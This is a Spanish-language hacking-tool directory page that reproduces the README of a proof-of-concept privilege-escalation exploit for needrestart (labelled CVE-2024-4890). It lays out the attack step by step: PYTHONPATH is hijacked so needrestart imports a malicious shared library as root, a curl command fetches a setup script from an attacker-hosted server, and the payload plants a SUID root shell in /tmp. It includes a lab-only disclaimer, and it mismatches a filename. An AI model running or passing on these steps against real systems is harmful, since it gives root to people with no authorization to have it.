Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
needrestart-sudo-escalate-cve-2024-4890 — Exploit PoC para CVE-2024-4890: escalada de privilegios de Sudo mediante neecdrestart (>=3.8). Solo para laboratorios éticos. Scripts en Python y C. | Kitploit
Herramientas/GitHubGitHub/nekr0ff/needrestart-sudo-escalate-cve-2024-4890
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubnekr0ff/needrestart-sudo-escalate-cve-2024-4890

needrestart-sudo-escalate-cve-2024-4890

Exploit PoC para CVE-2024-4890: escalada de privilegios de Sudo mediante neecdrestart (>=3.8). Solo para laboratorios éticos. Scripts en Python y C.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 9 mesesAún no revisado

CVE-2024-4890: PoC de escalada de privilegios de Sudo en needrestart

CVE-2024-4890 License: MIT

Descargo de responsabilidad

Solo para uso en laboratorio en entornos controlados. No explote en sistemas de producción sin autorización explícita. Este PoC tiene fines educativos únicamente. El autor no se hace responsable por cualquier uso indebido o acceso no autorizado.

Resumen

CVE-2024-4890 es una vulnerabilidad crítica en needrestart (versiones >= 3.8) que permite la ejecución de código arbitrario con privilegios elevados. El problema surge del manejo inseguro de variables de entorno y archivos de configuración durante el escaneo de procesos.

Específicamente, cuando se ejecuta con sudo, needrestart inspecciona los procesos de Python en ejecución, incluyendo su variable de entorno PYTHONPATH. Un atacante puede secuestrar esto estableciendo un PYTHONPATH personalizado que apunte a un directorio controlado (por ejemplo, /tmp/attacker). Dentro de este directorio, se coloca un módulo malicioso (__init__.so) en una estructura falsa de importlib. Cuando needrestart intenta importarlo como root (para verificar librerías), el payload se ejecuta, otorgando acceso root.

Este PoC demuestra el exploit mediante un proceso Python señuelo, una librería compartida maliciosa (compilada desde C) y un script de automatización.

Requisitos previos

  • Objetivo: Sistema Linux con needrestart >= 3.8 y acceso sudo al mismo.
  • Herramientas: gcc (para compilación), curl, python3.

Estructura de archivos

Coloque estos en /tmp/attacker en la máquina objetivo.

  • e.py: Script Python señuelo (se ejecuta en bucle, espera a que el payload tenga éxito).
  • runner.sh: Script de automatización para configurar y ejecutar el señuelo.

Pasos del exploit

  1. Máquina atacante: Compile lib.c a __init__.so y alójelo:

gcc -shared -fPIC -o init.so lib.c

python3 -m http.server 8000

Máquina objetivo (Víctima):

  • Cree el directorio /tmp/attacker.
  • Copie el archivo main.py (nota: en el original dice "Copy the main.py", pero en la estructura se menciona e.py. Se traduce tal cual).
  • Descargue y haga ejecutable runner.sh:
root@kitploit:~
curl http://<IP_ATACANTE>:<PUERTO>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh

Ejecute la configuración en una terminal: cd /tmp/attacker && ./runner.sh

Esto crea el módulo malicioso, el script señuelo e inicia el proceso Python secuestrado.

  1. Desencadenar el escaneo (en una nueva sesión SSH): sudo /usr/sbin/needrestart

needrestart detecta el proceso señuelo, lee PYTHONPATH e importa el __init__.so malicioso como root—ejecutando el payload.

  1. Obtener acceso (de vuelta en la terminal de runner.sh):
  • El script detecta /tmp/poc (shell SUID root creada por el payload) y lanza una shell root: sudo /tmp/poc -p Limpieza: rm -rf /tmp/attacker /tmp/poc (y elimine la entrada de sudoers si se agregó).

Indicador de éxito: whoami muestra root o id muestra uid=0(root).

Descargar herramienta